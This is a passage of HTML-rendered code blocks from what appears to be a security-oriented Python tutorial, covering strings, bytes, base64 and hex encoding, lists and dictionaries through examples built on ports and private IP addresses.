&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# hello, security!
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# Remove whitespace from both ends
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Goodbye&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# ['Hello', 'Security!']
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                 &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Security&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# True — membership test
&lt;/span&gt;
&lt;span class="c1"&gt;# Indexing and slicing
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ABCDEFGH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                            &lt;span class="c1"&gt;# A — first character
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                           &lt;span class="c1"&gt;# H — last character
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                          &lt;span class="c1"&gt;# CDE — slice [start:end]
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                           &lt;span class="c1"&gt;# ABC — from beginning
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;                           &lt;span class="c1"&gt;# FGH — to end
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                         &lt;span class="c1"&gt;# HGFEDCBA — reverse
&lt;/span&gt;
&lt;span class="c1"&gt;# Bytes — critical for network and binary work
&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# b prefix = bytes literal
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# &amp;lt;class 'bytes'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                         &lt;span class="c1"&gt;# 71 — integer value of 'G'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# 474554202f20485454502f312e310d0a
&lt;/span&gt;
&lt;span class="c1"&gt;# Convert between strings and bytes
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                  &lt;span class="c1"&gt;# str → bytes
&lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# bytes → str
&lt;/span&gt;
&lt;span class="c1"&gt;# Base64 encoding/decoding — used constantly in security
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# b'c2VjcmV0IHBheWxvYWQ='
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# b'secret payload'
&lt;/span&gt;
&lt;span class="c1"&gt;# Hex encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shellcode&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        &lt;span class="c1"&gt;# '7368656c6c636f6465'
&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# b'shellcode'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Lists
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Lists — ordered, mutable, allow duplicates
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8443&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;mixed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;two&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Indexing and slicing (same as strings)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                        &lt;span class="c1"&gt;# 80
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                       &lt;span class="c1"&gt;# 8443
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                      &lt;span class="c1"&gt;# [443, 8080]
&lt;/span&gt;
&lt;span class="c1"&gt;# Modifying lists
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# Add to end
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                    &lt;span class="c1"&gt;# Insert at index
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                 &lt;span class="c1"&gt;# Add multiple
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# Remove by value
&lt;/span&gt;&lt;span class="n"&gt;popped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                   &lt;span class="c1"&gt;# Remove and return last
&lt;/span&gt;&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                           &lt;span class="c1"&gt;# Remove by index
&lt;/span&gt;
&lt;span class="c1"&gt;# List operations
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# Length
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# Membership test
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                           &lt;span class="c1"&gt;# Sort in place
&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# Return sorted copy
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                        &lt;span class="c1"&gt;# Reverse in place
&lt;/span&gt;
&lt;span class="c1"&gt;# List comprehension — Python's most powerful one-liner
&lt;/span&gt;&lt;span class="n"&gt;squares&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;hosts_80&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="c1"&gt;# Security use: IP range generation
&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                      &lt;span class="c1"&gt;# ['192.168.1.1', '192.168.1.2', ...]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Dictionaries
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Dictionaries — key-value pairs, ordered (Python 3.7+), mutable
# The most important data structure for security scripts
&lt;/span&gt;
&lt;span class="c1"&gt;# Create
&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;server01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open_ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Ubuntu 22.04&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_reachable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Access
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                 &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# server01
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# "unknown" — default if key missing
&lt;/span&gt;
&lt;span class="c1"&gt;# Modify
&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;services&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;22&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open_ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_reachable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate
